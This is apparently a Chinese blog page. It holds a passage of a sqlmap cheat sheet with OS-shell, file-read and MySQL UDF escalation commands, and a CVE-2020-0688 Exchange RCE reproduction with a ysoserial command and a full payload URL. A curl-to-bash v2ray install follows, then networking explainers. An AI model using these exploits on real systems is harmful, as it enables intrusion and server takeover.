12-16就会让Sqlmap的列数检测范围变成12到16。--union-char 默认情况下Sqlmap进行联合查询注入时使用空字符(NULL)。但当level值较高时Sqlmap会生成随机数用于联合查询注入。因为有时使用空字符注入会失败而使用随机数会成功。使用此参数可以指定联合查询注入中使用的字符,如:“--union-char 123”--union-from 有些情况下在联合查询中必须指定一个有效和可访问的表名,否则联合查询会执行失败,如在微软的Access中。(也就是说,某些DBMS不支持“SELECT 1,2;”这样的语句,SELECT必须有FROM。)用此参数指定这个表名,如“–union-from=users”访问文件系统--file-read 读取文件 例: sqlmap -u "http://127.0.0.1?id=1" --file-read "D:/1.txt"--file-write --file-dest 上传文件到数据库服务器中 例: sqlmap -u "http://127.0.0.1?id=1" --file-write "本机位置” --file-dest “上传位置”操作系统控制 --os-cmd 执行系统命令 sqlmap -u "http://127.0.0.1?id=1" --os-cmd "whoami" --os-shell 交互式的操作系统的shell通用选项 -s Sqlmap会自动地为每一个目标创建长久保存的会话SQLite文件,该文件统一存储在特定目录(如:~/.sqlmap/output/)中,其中保存着恢复会话所需的所有数据。若用户想要明确地指定SQLite文件(例如想要将多个目标的数据存储到同一个SQLite文件中),可使用此参 -t 记录所有HTTP流量到一个文本文件中,该参数后跟一个文件路径,用于将HTTP(S)请求和响应以文本格式记录到文件中作为日志。这样的日志在调试时是很有用的。例:sqlmap -u "http://127.0.0.1?id=1" -t http.log --batch不询问用户输入,使用所有默认配置(Y/N)。 --charset 设置字符编码 如“–charset=GBK --crawl 从目标URL爬行网站 Sqlmap可以从目标URL开始爬取目标站点并收集可能存在漏洞的URL。使用该参数还需要设置爬取深度,深度是相对于开始爬取的目标URL而言的。只有所有新链接都被递归地访问过后才算爬取结束。建议该参数与“–delay”配合使用.例: sqlmap -u "http://127.0.0.1?id=1" --batch --crawl 3 --eta 该参数用于显示估计的完成时间 --flush-session 刷新会话文件,以避免Sqlmap默认的缓存机制可能造成的一些问题。例: sqlmap -u "http://127.0.0.1?id=1" --flush-session --forms 解析和测试目标URL表单 sqlmap -u "http://127.0.0.1" --forms --hex 非ASCII数据很容易在传输时出错,使用hex函数可以将目标数据库中数据以十六进制返回。 --update 更新sqlmapTampersqlmap版本为1.2.7.20,有57个tamper脚本序号脚本名称注释10x2char将每个编码后的字符转换为等价表达2apostrophemask单引号替换为Utf8字符3apostrophenullencode替换双引号为%00%274appendnullbyte有效代码后添加%005base64encode使用base64编码6between比较符替换为between7bluecoat空格替换为随机空白字符,等号替换为like8chardoubleencode双url编码9charencode将url编码10charunicodeencode使用unicode编码11charunicodeescape以指定的payload反向编码未编码的字符12commalesslimit改变limit语句的写法13commalessmid改变mid语句的写法14commentbeforeparentheses在括号前加内联注释15concat2concatws替换CONCAT为CONCAT_WS16equaltolike等号替换为like17escapequotes双引号替换为\\\\18greatest大于号替换为greatest19halfversionedmorekeywords在每个关键字前加注释20htmlencodehtml编码所有非字母和数字的字符21ifnull2casewhenisnull改变ifnull语句的写法22ifnull2ifisnull替换ifnull为if(isnull(A))23informationschemacomment标示符后添加注释24least替换大于号为least25lowercase全部替换为小写值26modsecurityversioned空格替换为查询版本的注释27modsecurityzeroversioned添加完整的查询版本的注释28multiplespaces添加多个空格29nonrecursivereplacement替换预定义的关键字30overlongutf8将所有字符转义为utf831overlongutf8more以指定的payload转换所有字符32percentage每个字符前添加%33plus2concat将加号替换为concat函数34plus2fnconcat将加号替换为ODBC函数{fn CONCAT()}35randomcase字符大小写随机替换36randomcomments/**/分割关键字37securesphere添加某字符串38sp_password追加sp_password字符串39space2comment空格替换为/**/40space2dash空格替换为–加随机字符41space2hash空格替换为#加随机字符42space2morecomment空格替换为/**_**/43space2morehash空格替换为#加随机字符及换行符44space2mssqlblank空格替换为其他空符号45space2mssqlhash空格替换为%23%0A46space2mysqlblank空格替换为其他空白符号47space2mysqldash空格替换为–%0A48space2plus空格替换为加号49space2randomblank空格替换为备选字符集中的随机字符50symboliclogicalAND和OR替换为&&和||51unionalltounionunion all select替换为union select52unmagicquotes宽字符绕过GPC53uppercase全部替换为大写值54varnish添加HTTP头55versionedkeywords用注释封装每个非函数的关键字56versionedmorekeywords使用注释绕过57xforwardedfor添加伪造的HTTP头使用技巧1. URL重写SQL注入测试value1为测试参数,加“*”即可,sqlmap将会测试value1的位置是否可注入。sqlmap -u "http://127.0.0.1/param1/value1*/param2/value2/"2. 列举并破解密码哈希值 当前用户有权限读取包含用户密码的权限时,sqlmap会现列举出用户,然后列出hash,并尝试破解。sqlmap -u "http://127.0.0.1/sqlmap/pgsql/get_int.php?id=1" --passwords -v13. 获取表中的数据个数sqlmap. -u "http://127.0.0.1/sqlmap/mssql/iis/get_int.asp?id=1" --count -Dtestdb4.对网站s127.0.0.1进行漏洞爬取sqlmap -u "http://127.0.0.1" --batch –crawl=35.基于布尔SQL注入预估时间sqlmap -u "http://127.0.0.1/sqlmap/oracle/get_int_bool.php?id=1" -b --eta6.使用hex避免字符编码导致数据丢失sqlmap -u "http://127.0.0.1/pgsql/get_int.php?id=1" --banner --hex -v 3 --parse-errors7.模拟测试手机环境站点sqlmap -u "http://www.target.com/vuln.php?id=1" --mobile8.智能判断测试sqlmap -u “http://www.antian365.com/info.php?id=1“--batch --smart9.结合burpsuite进行注入(1)burpsuite抓包,需要设置burpsuite记录请求日志sqlmap -r "burpsuite抓包.txt"(2)指定表单注入sqlmap.py -u "http://127.0.0.1" --data "username=a&password=a”10.sqlmap自动填写表单注入自动填写表单:sqlmap -u "http://127.0.0.1" –formssqlmap -u "http://127.0.0.1" –forms –dbssqlmap -u "http://127.0.0.1" –forms –current-dbsqlmap -u "http://127.0.0.1" –forms -D 数据库名称–tablessqlmap -u "http://127.0.0.1" –forms -D 数据库名称 -T 表名 –columnssqlmap -u "http://127.0.0.1" –forms -D 数据库名称 -T 表名 -Cusername,password –dump11.读取linux下文件 sqlmap -u "http://127.0.0.1" --file /etc/password12.延时注入sqlmap -u ""http://127.0.0.1?id=1" --technique -T13. sqlmap 结合burpsuite进行post注入结合burpsuite来使用sqlmap:(1)浏览器打开目标地址http://127.0.0.1(2)配置burp代理(127.0.0.1:8080)以拦截请求(3)点击登录表单的submit按钮(4)Burp会拦截到了我们的登录POST请求(5)把这个post请求复制为txt, 我这命名为post.txt 然后把它放至sqlmap目录下(6)运行sqlmap并使用如下命令:sqlmap -r "post.txt" -p tfUPass14.sqlmap cookies注入sqlmap -u “http://127.0.0.1/base.PHP“–cookies “id=1″ –dbs –level 2默认情况下SQLMAP只支持GET/POST参数的注入测试,但是当使用–level 参数且数值>=2的时候也会检查cookie里面的参数,当>=3的时候将检查User-agent和Referer。可以通过burpsuite等工具获取当前的cookie值,然后进行注入:sqlmap.py -u 注入点URL --cookie"id=xx" --level 3sqlmap.py -u url --cookie "id=xx"--level 3 --tables(猜表名)sqlmap.py -u url --cookie "id=xx"--level 3 -T 表名 --coiumnssqlmap.py -u url --cookie "id=xx"--level 3 -T 表名 -C username,password --dump 15.mysql提权(1)连接mysql数据打开一个交互shell:sqlmap.py -d "mysql://root:root@127.0.0.1:3306/test" --sql-shellselect @@version;select @@plugin_dir;d:\\wamp2.5\\bin\\mysql\\mysql5.6.17\\lib\\plugin\\(2)利用sqlmap上传lib_mysqludf_sys到MySQL插件目录:sqlmap.py -dmysql://root:root@127.0.0.1:3306/test --file-write=d:/tmp/lib_mysqludf_sys.dll--file-dest=d:\\wamp2.5\\bin\\mysql\\mysql5.6.17\\lib\\plugin\\lib_mysqludf_sys.dllCREATE FUNCTION sys_exec RETURNS STRINGSONAME 'lib_mysqludf_sys.dll'CREATE FUNCTION sys_eval RETURNS STRINGSONAME 'lib_mysqludf_sys.dll'select sys_eval('ver');16.执行shell命令sqlmap -u "http://127.0.0.1?id=1" --os-cmd "netuser" /*执行net user命令*/sqlmap -u "http://127.0.0.1?id=1" --os-shell /*系统交互的shell*/17.延时注入sqlmap –dbs -u "http://127.0.0.1?id=1" --delay 0.5 /*延时0.5秒*/sqlmap –dbs -u "http://127.0.0.1?id=1" --safe-freq /*请求2次*/18.批量注入将目标url搜集并整理为txt文件,所有文件都保存为你url.txt,然后使用"sqlmap.py-m tg.txt",注意url.txt跟sqlmap在同一个目录下19.设置并发线程数在dump的时候推荐使用此选项,能明显增加dump的速度。sqlmap -u "http://127.0.0.1?id=1" --dump-all --threads "10"
2020年03月19日
92 阅读
0 评论
0 点赞
2020-03-19
CVE-2020-0688 exchange远程代码执行漏洞复现
影响版本Microsoft Exchange Server 2010 Service Pack 3Microsoft Exchange Server 2013Microsoft Exchange Server 2016Microsoft Exchange Server 2019漏洞原理这个漏洞是由于Exchange服务器在安装时没有正确地创建唯一的加密密钥所造成的。具体来说,与正常软件安装每次都会产生随机密钥不同,所有Exchange Server在安装后的web.config文件中都拥有相同的validationKey和decryptionKey。这些密钥用于保证ViewState的安全性。而ViewState是ASP.NET Web应用以序列化格式存储在客户机上的服务端数据。客户端通过__VIEWSTATE请求参数将这些数据返回给服务器。攻击者可以在ExchangeControl Panel web应用上执行任意.net代码。当攻击者通过各种手段获得一个可以访问Exchange Control Panel (ECP)组件的用户账号密码时。攻击者可以在被攻击的exchange上执行任意代码,直接获取服务器权限。复现过程1、需要变量想要利用该漏洞,我们需要四个参数,分别为:–validationkey = CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF(默认,漏洞产生原因)–validationalg = SHA1(默认,漏洞产生原因)–generator=B97B4E27(基本默认)–viewstateuserkey = ASP.NET_SessionId(手工获取,变量,每次登陆都不一致)在这四个变量中,前两个为默认固定,viewstateuserkey和generator的值需要从经过身份验证的session中收集。viewstateuserkey可以从ASP.NET的_SessionID cookie中获取,而generator可以在一个隐藏字段__VIEWSTATEGENERATOR中找到。所有这些都可以通过浏览器中的工具轻松获取。2、获取viewstateuserkey和generator值在正常登录后访问 /ecp/default.aspx 页面。使用F12开发者工具的Network选项,刷新页面重新发送请求,找到登录时/ecp/default.aspx的原始响应。在Headers选项卡找到ASP.NET_SessionId的cookie:如果未找到此字段不必慌张,直接使用默认值B97B4E27 即可。3、使用工具生成payload使用ysoserial.net工具生成反序列化payload。 工具下载地址:https://github.com/pwntester/ysoserial.net/生成payload命令:ysoserial.exe-p ViewState -g TextFormattingRunProperties -c "calc.exe"--validationalg="SHA1"--validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF"--generator="B97B4E27" --viewstateuserkey="d673d1a4-1794-403e-ab96-e283ca880ef2"--isdebug --islegacy4、构造攻击地址在生成完payload代码后,需要对该代码进行URL Encode编码构造一个URL/ecp/default.aspx?__VIEWSTATEGENERATOR=<generator>&__VIEWSTATE=<ViewState>将最开始获得的__VIEWSTATEGENERATOR值替换<generator>,将URL Encode编码后的payload替换<ViewState>。示例:https://192.168.1.248/ecp/default.aspx?__VIEWSTATEGENERATOR=B97B4E27&__VIEWSTATE=%2FwEyhAYAAQAAAP%2F%2F%2F%2F8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuM**wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuR**ybWF0dGluZy5UZXh0R**ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVnc**1bmRCcnVzaAECAAAABgMAAACmBDxSZXNvdXJjZURpY3Rpb25hcnkNCiAgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiINCiAgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljc**zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiDQogIHhtbG5zOlN5c3RlbT0iY2xyLW5hbWVzcGFjZTpTeXN0ZW07YXNzZW1ibHk9bXNjb3JsaWIiDQogIHhtbG5zOkRpYWc9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PXN5c3RlbSI%2BDQoJIDxPYmplY3REYXRhUHJvdmlkZXIgeDpLZXk9IiIgT2JqZWN0VHlwZSA9ICJ7IHg6VHlwZSBEaWFnOlByb2Nlc3N9IiBNZXRob2ROYW1lID0gIlN0YXJ0IiA%2BDQogICAgIDxPYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICAgICAgPFN5c3RlbTpTdHJpbmc%2BY2FsYy5leGU8L1N5c3RlbTpTdHJpbmc%2BDQogICAgIDwvT2JqZWN0RGF0YVByb3ZpZGVyLk1ldGhvZFBhcmFtZXRlcnM%2BDQogICAgPC9PYmplY3REYXRhUHJvdmlkZXI%2BDQo8L1Jlc291cmNlRGljdGlvbmFyeT4Lp73ado0NJN2PSSnfOoN9h4H7xCU%3D5、访问地址并成功执行访问构造好的URL地址,服务器会弹出500的错误,但攻击其实成功了。登录服务器查看进程,发现计算器成功启动。其他问题1、关于版本网上一些说法该漏洞对大版本的小版本有限制。其实不是这样的,应该是全版本通杀的。本人测试环境server 12 + exchange 2013。测试过15.0.516.32(2012 年12月3日)和15.0.1497.2(2019年6月18日)也就是update23,均存在漏洞,可以复现成功,16,19未测试,应该差不多。2、__VIEWSTATEGENERATOR在最初版本的时候一直没有这个参数(确实不重要,基本为默认值),造成这一问题的主要原因是没有更新系统补丁KB2919355,更新该补丁后就会出现__VIEWSTATEGENERATOR字段。3、无法创建文件大部分复现者只复现到启动计算器,但是却无法创建文件。但经过测试发现问题出在ysoserial.exe的-c参数上,虽然在演示过程中可以直接-c “echo OOOPS!!! > c:/Vuln_Server.txt”创建文件,让人误以为-c是在cmd窗口下运行,但是实际上-c实际为“运行”的内容,因此直接echo是不行的,需要-c “cmd /c echo test > C:\1.txt”,经测试成功创建文件,如图所示:4、URL Encode编码对生成的payload编码时,需要注意只编码关键的特殊字符即可,如果全编码的话会无法利用成功。修复建议1、建议及时更新相关补丁产品文章下载Microsoft Exchange Server 2010 Service Pack 3更新汇总304536989安全更新Microsoft Exchange Server 2013累积更新234536988安全更新Microsoft Exchange Server 2016累积更新144536987安全更新Microsoft Exchange Server 2016累积更新154536987安全更新Microsoft Exchange Server 2019累积更新34536987安全更新Microsoft Exchange Server 2019累积更新44536987安全更新2、限制Exchange Control Panel (ECP)组件页面访问权限由于该漏洞需要利用Exchange Control Panel (ECP)组件,因此禁止此组件访问也不失为一个较为有效的应急方法,建议条件允许的情况下及时更新补丁。
2020年03月19日
68 阅读
0 评论
0 点赞
2020-03-18
在centos7上安装V2ray 比shadowsock更科学的上网方式
相较于shadowsock来说,v2ray更加稳定,不易被qiang,这也是从shadowsock转v2ray最根本的原因服务端安装bash <(curl -L -s https://www.silverdragon.cn/downloads/go.sh)执行完上面的脚本,就会输出如下安装的提示信息了,其中PORT和UUID 使我们后面需要用到的配置信息然后通过service v2ray start / stop /status,就可以进行v2ray的启停了接下来执行以下下面命令,可以看出配置文件为 /etc/v2ray/config.json, 里面也包含了 UUID和PORT等信息ps aux | grep v2ray
2020年03月18日
105 阅读
0 评论
0 点赞
2020-03-18
浅析AnyCast网络技术
什么是BGP AnyCast?BGP anycast就是利用一个(多个) as号码在不同的地区广播相同的一个ip段。利用bgp的寻路原则,短的as path 会选成最优路径(bgp寻路原则之n),从而优化了访问速度。其实bgp anycast是不同服务器用了相同的ip地址。阿里的DNS 就是使用了BGP AnyCast“其实bgp anycast是不同服务器用了相同的ip地址。” 言简意赅啊!DNS多点部署IP Anycast+BGP实战分析, 根据这个网页资料,我对BGP anycast 的理解是IP anycast + bgp, ip anycast(ip任播) 本身就是多个主机使用同一个IP地址(该地址即这一组主机的共享单播地址)的一种技术,当发送方发送报文给这个共享单播地址时,报文会根据路由协议路由到这一组主机中离发送方最近的一台,所以这个技术也可以用来做负载均衡。 Anycast技术特点Anycast 指IPV6协议中一个发送方同最近的一组接收方之间的通信。Anycast 的定义是: 当一个单播地址被分配到多于一个的接口上时,发到该接口的报文被网络路由到由路由协议度量的“最近”的目标接口上。 Anycast 允许源结点向一组目标结点中的一个结点发送数据报,而这个结点由路由系统选择,对源结点透明;同时,路由系统选择“最近”的结点为源结点提供服务,从而在一定程度上为源结点提供了更好的服务也减轻了网络负载。正是Anycast 这一通信模式的特点,使它在IP网络中具有了应用前景。首先,分布的服务共享相同的IP地址,同时在IP层进行透明的服务定位,这使得各种网络服务特别是应用层服务具有更强的透明性,比如DNS(Domain Name System,域名系统),在IPv6网络中它可以共享一个熟知的IP地址,用户不需要特殊配置也不用关心访问的是哪一台DNS服务器;其次,路由系统选择了“最近”的服务,缩短了服务响应的时间,同时减轻了网络负载;最后,相同的服务在网络上冗余分布,路由系统可以提供机制选择负载相对轻的带宽相对高的路径来转发报文,这样就给用户带来了两个方面的好处:1) 减弱了分布式拒绝服务攻击(DDoS:Distributed Denial of Service)对用户带来的影响。当 Anycast 组中某一个成员或者几个成员受到攻击时,负责报文转发的路由器可以根据各个组成员的响应时间来决定报文应该转发到哪个成员上,这样受到攻击的成员由于没有响应,所以报文就不会被转发到那里,同时,由于 Anycast 提供的服务访问透明性,组成员也相对较难受到DDoS攻击。2) 减弱了网络拥塞给用户带来的影响。同上面的道理,当 Anycast 的某些组成员处在拥塞的网段时,它的响应时间就较长,报文可以被转发到响应较好的成员那里。 Anycast与Multicast和Unicast是三种通信方式,其中Multicast是指一个发送方同多个接收方之间的通信;Unicast 是指单个发送方和单个接收方之间的通信。Anycast 的用途之一是用一个主机进行组内所有主机路由表的更新工作。IPV6可以自动判断最近的网关,然后将数据包传给此网关。反过来,此主机可以对组内所有的主机进行Anycast,直到完成整个路由表的更新工作。DNSPod Public DNS+的架构是怎么样的?MulticastMulticast 的中文译名是多播,它是指网络中一个节点发出的信息被多个节点收到。与此相对的有Unicast和Broadcast,前者是指一个节点发出的信息只被一个节点收到,后者是指一个节点发出的信息被子网内所有节点收到。实际上,在数据链路层和网络层都有Multicast,通常所说的Multicast大多是针对IP的。这种技术用于多媒体应用、多用户交互(如聊天室)、软件分发等,相比与传统的Unicast可以大大提高效率。在子网内实现 Multicast 较为简单,跨越子网时需要路由器、网关等设备的支持。 UnicastUnicast(单播):在客户端与媒体服务器之间需要建立一个单独的数据通道,从一台服务器送出的每个数据包只能传送给一个客户机,这种传送方式称为单播。指网络中从源向目的地转发单播流量的过程。单播流量地址唯一。每个用户必须分别对媒体服务器发送单独的查询,而媒体服务器必须向每个用户发送所申请的数据包拷贝。这种巨大冗余首先造成服务器沉重的负担,响应需要很长时间,甚至停止播放;管理人员也被迫购买硬件和带宽来保证一定的服务质量。文字单播方式下,只有一个发送方和一个接收方。与之比较,组播是指单个发送方对应一组选定接收方。 科普科普,什么是Anycast技术?在IP地址的世界里,大家熟知的IP地址类型大致有如下几种:Unicast IP单播IP,IP地址和主机是一一对应关系。如下图,红色为数据包发送端,而绿色节点为数据包接收端。当数据包发送给某一个特定IP地址时,全局下仅有一个数据包接收主机。此为Unicast。Multicast IP组播IP,组播IP拥有特定的IP地址段,当数据包发送给此组播IP地址后,组内成员都能收到此数据包的一份拷贝。当数据包发送给某一个特定组播IP地址时,同时存在多个数据包接收端。Broadcast IP广播IP,任意Unicast单播网段中最后一个IP地址。数据包发送给此地址会扩散给全广播域的成员。当数据包发送给广播IP地址时,所有成员均为数据包接收端。而Anycast IP,则是集Multicast和Unicast特性于一身的特殊IP地址类型Anycast中文称为任意播。从宏观上来说,Anycast类似于Multicast,同一种类型的数据流同时存在多个接收者。而从微观上来说,Anycast又有着Unicast的唯一性。每一个单独的IP会话都能够找到唯一的源主机和目标主机。咋看之下很矛盾,其实不然.以DNS请求为例,假设全国人民同一时间发送1百万个DNS请求,他们都是发送给1.1.1.1的Anycast DNS服务器地址。宏观上来说,所有数据包都送达给了分布在全国各地的DNS服务器。处于各地的DNS服务器分别接收到了一定数量的DNS请求,并作出回复。这体现了Multicast的特性。微观上,某一个特定的DNS请求数据包,一定是发送给了某一台DNS主机,而不是同时又多台DNS主机接收到了此数据包。此为Unicast特性。Anycast 到底牛掰在哪里?在企业网络环境中,Anycast不太常见,其主要应用于大范围的DNS部署,CDN数据缓存,数据中心等。自然而然,很多做企业网络维护的朋友会有疑问。怎么能让互联网的多个主机用同一个IP,这岂不是IP地址冲突了?回答:首先,每一个服务器主机处在不同的地理位置,他们之间不在同一个广播域内。所以把所有主机配置成相同的IP地址并不会引起我们日常所见的IP地址冲突。其次,光靠配置相同的IP地址时不够的,我们还需要借助强大的BGP帮忙。通过BGP,各个站点向Internet宣告相同的Anycast IP地址。自然而然,Internet 就会接收到不同目标路径,但是具有相同IP地址段的prefix。那数据包是如何在这种环境下路由的呢?别急,往下看。为了让大家有更深刻的理解和认识,下面将详细描述Anycast的主要优势和用途:用途一:Load-balancing 负载均衡以及系统冗余性不讲理论了,直接上例子,方便理解。为了阐明使用Anycast和负载均衡,以及冗余性的关系,特举例如下:假设我们现在有三个DNS服务器站点,地点分别在北京,上海,广州。他们服务了全国的DNS解析服务。按照一般的解决方案,为了实现三个DNS服务器负载均衡,可能有人会考虑到使用硬件负载均衡设备,例如常见的F5负载均衡设备等。但若使用硬件负载均衡,随之带来的问题有:1. 网络流量瓶颈,所有有流量都需要先通过负载均衡设备,而硬件设备本身的吞吐量决定了整个网络环境的吞吐量。2. 高昂的硬件成本,为了实现全国的流量负载均衡,试想需要多大吞吐量的硬件设备。硬件吞吐量越大,购买成本就越高。而通过Anycast技术,无需要借助任何第三方负载均衡器,就可以轻松达到负载均衡的效果,同时还提供了冗余和高可靠性。实施方案如下:通过配置三个DNS站点的服务器IP为相同IP,例如1.1.1.1/32。然后通过各个站点的BGP对互联网宣告1.1.1.0/24的网段。(注:为什么要宣告/24,而不是/32? 。因为在Internet里面,为了减小全球Internet路由表尺寸,默认情况下运营商只接受小于等于/8,而大于等于/24的网段宣告进入互联网。)以上步骤完成以后,互联网路由表针对1.1.1.1/24会有三个不同的出口路由器,分别是北京,上海,广州。重点来了,因为所有用户都使用1.1.1.1作为他们的DNS服务器。以东北的用户来说,哪一台DNS服务器会给东北的用户提供解析呢?答案就是:就近原则!让我们来看看数据包在网络中的路由细节:当用户的DNS请求到达运营商的宽带路由器以后,运营商的路由器会根据BGP的选路原则选择到达1.1.1.1的最优路径。例如,在用户宽带运营商和DNS服务器Internet运营商相同的情况下,最终会以IGP metric为关键因素来决定哪个DNS服务器给用户提供服务。而IGP的 Metric某种程度上就是物理距离的代表。如,四川的宽带路由器通过查看BGP路由,发现1.1.1.1出口最优路由是在广州。那么四川用户的DNS数据包将被发送给广州的DNS服务器。同理,东北的用户DNS解析将会被发往北京的DNS服务器,而江南一带的则是上海DNS服务器负责。万一出现故障怎么办?如果三台DNS服务器中某一台出现故障,例如广东DNS服务宕机。BGP协议会立即停止通告此1.1.1.0/24的网段。Internet 路由表将会只有北京和上海的DNS可供选择。此时原广东DNS服务的用户将再次根据“就近原则”选择其他DNS服务器,例如上海DNS。从而达到业务的平滑迁移和服务的高可用性。基于以上的分析,我们很容易就得出如下结论:全国用户最终会根据距离DNS服务器的远近来判断使用哪个DNS服务器做域名解析。从DNS角度来说,正因为不同的地理位置用户会根据就近路由判断,从而选择不同的DNS服务器,最终会使三台DNS服务器达到负载均衡的效果。若其中某一个节点出现故障以后,业务会立即迁移到其他可用的节点上,从而避免网路服务故障。完全不需要人工干预。以上就是Anycast在负载均衡中的用途说明。用途二:防范DDOS攻击相信很多在运营商工作的朋友都非常讨厌DDOS攻击。当DDOS发生时,10G或100Gbps的流量突然蜂拥而来,占用运营商核心MPLS网路带宽不说,这种洪泛攻击会给客户网络造成短时间的瘫痪。造成的损失极大。在阐述Anycast防范DDOS攻击细节之前,让我们先来看看DDOS是如何产生的。以NTP协议为例,NTP协议是client-server模式,客户发起NTP时间查询申请,服务器响应NTP查询。看似正常的NTP数据流量有时候及其容易被玩坏。假设某个黑客控制了成千上万的僵尸主机,这些僵尸主机纷纷伪造如下数据包并发送给全球NTP服务器:源地址:1.2.3.4 (伪造源地址为 被攻击者的IP地址)目标地址:全球各个NTP服务器地址。(越多越好)当全世界各地的NTP服务器收到此查询以后,它会把查询结果发送回给真正的受害者1.2.3.4。这时IP地址为1.2.3.4 的受害者收到全世界的NTP服务器发过来的数据包时,其有限的带宽链路就很容易产生拥塞并造成服务中断。假设这些僵尸不只是发送一次虚假数据包,而是上万次。那么受害者接收到的NTP回复数据包量将如下:虚假数据包发送数量 x 全世界NTP服务器的数量= 最终DDOS攻击的流量。Anycast如何防范DDOS攻击?好了,铺垫完成以后,回到正题。Anycast如何防范DDOS攻击?DDOS攻击最关键一点,是需要把所有地理位置分散的小流量最终汇集到一个点。从而形成涛涛洪水。正所谓以彼之道,还施彼身。在Anycast环境下,由于多个地理位置不同的主机同时使用同一个IP地址。正因为如此,DDOS流量在穿越运营商路由器时,路由器会根据地理位置远近把数据包路由到距离源地址最近的受害者主机站点。从而分散掉整个DDOS流量。还是以上述NTP协议DDOS为例。假设IP为1.2.3.4的受害者恰巧布局了Anycast协议。其服务器分布在全国各地。当DDOS来临时,不同的NTP服务器根据路由选择,把流量发送到距离NTP服务器最近的受害者服务器上。最终,原本10Gbps-100Gbps的汇总流量被各个目标服务器以1Gbps不足的DDOS攻击消化掉。DDOS流量最终被每一个Anycast 主机分散掉了。总结今天我们一起研究了什么是Anycast,以及Anycast的妙用。正如开头所说,Anycast并不是一个新技术,可谓是旧瓶装新酒。但是通过结合BGP协议,变相提高了Anycast的使用广度和深度。最后,针对Anycast 做如下总结:优点:Anycast可以零成本实现负载均衡,无视流量大小。Anycast是天然的DDOS防御措施,体现了大事化小,小事化了的解决方法。部署Anycast可以获得设备的高冗余性和可用性。Anycast适用于无连接的UDP,以及有连接的TCP协议。缺点:Anycast严重依赖于BGP的选路原则,在整个Internet网络拓扑复杂的情况下,会导致次优路由选择。
2020年03月18日
35 阅读
0 评论
0 点赞
2020-03-17
电信CN2网络
玩VPS的同学们,肯定都听说过电信的CN2网络。什么是CN2?CN2全称为中国电信下一代承载网,英文Chinatelecom Next Carrier Network,缩写为CNCN,进一步缩写为CN2。所以,CN2只跟电信用户有关。移动和联通,没啥关系。。。中国电信三种网络线路的对比提到CN2,还得提到老一代的163骨干网,而CN2本身又分为两种类型,所以,在这里把这三者逐一对比介绍下:普通163: 就是电信用户最经常遇到的电信线路,等级最低,省级/出国/国际骨干节点都以202.97开头,全程没有59.43开头的CN2节点。在出国线路上表现为拥堵,丢包率高。CN2 GT: CN2里属于Global Transit的产品(又名GIS-Global Internet Service),在CN2里等级低,省级/出国节点为202.97开头,国际骨干节点有2~4个59.43开头的CN2节点。在出国线路上拥堵程度一般,相对于163骨干网的稍强,相比CN2 GIA,性价比也较高。CN2 GIA: CN2里属于Global Internet Access的产品,等级最高,省级/出国/国际骨干节点都以59.43开头,全程没有202.97开头的节点。在出国线路上表现最好,很少拥堵,理论上速度最快最稳定,当然,价格也相对CN2 GT偏高。怎么判断线路类型通常VPS的公司或者各大AFF man都会提供测试ip地址,拿到测试ip地址后,可以通过mtr命令或者traceroute命令,根据跟踪网络包的路由节点,来判断具体的网络线路的类型。普通163骨干网HOST: test.example.org Loss% Snt Last Avg Best Wrst StDev1.|-- ??? 100.0 10 0.0 0.0 0.0 0.0 0.02.|-- 173.82.157.121 0.0% 10 0.5 6.6 0.3 62.0 19.53.|-- 208.64.231.6 0.0% 10 0.4 6.8 0.3 38.6 12.54.|-- 129.250.205.121 0.0% 10 20.7 2.6 0.3 20.7 6.45.|-- 218.30.53.73 0.0% 10 1.6 2.7 1.0 5.1 1.36.|-- 202.97.49.105 0.0% 10 2.2 3.0 1.2 4.6 0.97.|-- 202.97.51.137 0.0% 10 165.5 164.7 163.1 167.0 1.28.|-- ??? 100.0 10 0.0 0.0 0.0 0.0 0.09.|-- 202.97.94.141 0.0% 10 166.1 169.5 166.1 172.8 2.210.|-- 202.97.85.206 60.0% 10 167.3 242.9 167.3 469.6 151.111.|-- 180.140.104.86 70.0% 10 182.7 182.8 182.6 183.0 0.012.|-- 220.173.118.215 10.0% 10 193.3 209.7 191.0 276.8 26.1整个路由节点信息中,全程没有59.43开头的CN2节点,并且一些省级或者出口的节点是以202.97开头的,因此我们可以判断承载网络就是163普通线路。CN2 GT线路HOST: test.example.org Loss% Snt Last Avg Best Wrst StDev1.|-- ??? 100.0 10 0.0 0.0 0.0 0.0 0.02.|-- ??? 100.0 10 0.0 0.0 0.0 0.0 0.03.|-- 192.254.84.153 0.0% 10 1.6 2.4 0.7 3.9 0.84.|-- 192.254.81.5 0.0% 10 4.3 3.2 1.1 4.7 1.15.|-- 218.30.48.241 0.0% 10 1.2 1.3 1.2 1.4 0.06.|-- 59.43.182.102 0.0% 10 150.8 156.5 145.0 214.7 22.47.|-- 59.43.244.138 0.0% 10 145.2 145.3 145.2 146.0 0.08.|-- 202.97.94.113 0.0% 10 147.0 149.9 146.9 169.1 6.99.|-- 202.97.94.137 0.0% 10 151.4 152.5 147.8 157.7 3.710.|-- 183.59.5.233 0.0% 10 147.6 147.8 147.6 147.9 0.011.|-- 183.2.253.22 0.0% 10 150.2 150.5 150.1 152.0 0.512.|-- 183.61.192.202 0.0% 10 153.4 155.1 153.3 168.9 4.813.|-- 113.96.127.6 0.0% 10 151.1 153.0 151.0 165.5 4.514.|-- ??? 100.0 10 0.0 0.0 0.0 0.0 0.015.|-- ??? 100.0 10 0.0 0.0 0.0 0.0 0.016.|-- 183.2.247.150 10.0% 10 150.9 150.9 150.8 151.1 0.0在路由节点中,出现了59.43开头的节点,在一些出口节点上,仍然通过了202.97开头的节点,可以判断为CN2 GT线路。CN2 GIA线路Start: 